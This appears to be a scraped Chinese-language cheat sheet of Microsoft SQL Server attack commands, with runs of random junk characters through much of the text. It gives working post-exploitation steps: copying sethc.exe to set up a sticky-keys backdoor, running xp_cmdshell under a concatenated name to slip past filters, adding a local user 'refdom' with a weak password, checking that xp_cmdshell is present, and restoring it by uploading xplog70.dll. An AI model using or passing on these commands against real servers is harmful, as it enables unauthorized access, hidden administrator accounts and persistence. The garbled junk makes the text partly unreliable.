5 B( {! U( J$ N. f1 x0 V. fdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; ; r1 Q& a; f+ p' v$ ^
2 ?% |2 ~9 D4 q5 ~( ^9 l* j
xp_cmdshell执行命令另一种方法8 G; K8 c" [2 B$ J
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 3 u3 c" U; A9 E% L; R+ }: g ( V+ }/ J, x3 `$ u4 h d判断存储扩展是否存在3 r- m# H$ E7 K' I7 d/ |2 Z
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell' ; P3 l3 M5 A: B" [返回结果为1就OK . h0 h0 o" @2 e1 P1 k/ N0 N' F; ?+ m; s0 H* u$ F
2 B( z0 F3 a- ^1 [* z& ?7 L7 i上传xplog70.dll恢复xp_cmdshell语句:; Q# t$ H2 l+ Y7 L. t2 o
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'/ T4 B. B) U2 B! V6 ~) r
* ~6 m7 P$ S, j1 Y) P; y* W% N: |5 P4 _
" _. U; G" w$ i/ | Y, X; p1 x
) \" r9 i$ n& F; Q1 a& u
) M. w$ F/ P A( a, Z
' W5 n9 e1 c) U1 @7 F 9 _, Z- T5 F1 W7 ~5 \2 {# s. j1 G1 r" ]) E) x% U4 P4 f
+ w% p& g! o, }3 J u
. M C9 u. G' \0 @+ V2 A. @/ }
* E; c# J1 }) p4 {6 D. Z7 O
! A' {1 W; `$ d* }6 {) w7 Y: l s
# ^- R8 X Q+ F( l i, A5 n7 a D8 H' X* L$ b
8 @, k7 x! {0 x8 R! B